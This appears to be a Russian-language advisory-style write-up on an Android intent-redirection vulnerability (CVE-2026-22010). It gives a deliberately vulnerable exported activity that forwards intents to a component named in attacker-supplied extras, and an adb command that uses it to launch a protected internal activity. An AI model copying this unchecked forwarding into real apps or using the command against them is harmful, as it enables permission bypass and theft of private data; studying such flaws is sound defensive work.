CVE-2026-22010 – Перенаправление Intent в Android на экспортируемый компонент

Программный код (имитация Java/Android)

// VulnActivity.java - Exported activity that forwards intents
public class VulnActivity extends Activity {
    @Override
    protected void onCreate(Bundle b) {
        super.onCreate(b);
        Intent incoming = getIntent();
        // Retrieve target component from extras
        String targetPkg = incoming.getStringExtra("pkg");
        String targetCls = incoming.getStringExtra("cls");
        Intent forward = new Intent();
        forward.setClassName(targetPkg, targetCls);
        // Copy all extras from original intent
        forward.putExtras(incoming);
        startActivity(forward);
    }
}

CVE-2026-22010 – Перенаправление Intent в Android на экспортируемый компонент

Обзор

Экспортированная активность Android вслепую перенаправляет входящие Intent на компонент, указанный в extras этого Intent. Злоумышленник может сформировать Intent, который заставит приложение запустить защищённую внутреннюю активность с управляемыми атакующим данными, обходя проверки разрешений.

Детали уязвимости

Тип: перенаправление Intent / обход разрешений
Воздействие: доступ к приватным компонентам, кража данных.
Корневая причина: приложение не проверяет целевой компонент (имя пакета и класса) перед пересылкой Intent.

Демонстрация эксплойта

Разверните уязвимое приложение на эмуляторе Android. Отправьте Intent через adb:

adb shell am start -n com.example/.VulnActivity --es pkg com.example.internal --es cls com.example.SecretActivity

Внутренняя активность запускается без необходимых разрешений.

CVE-2026-22010-Android-Intent-Redirection-to-Exported-Component

Популярное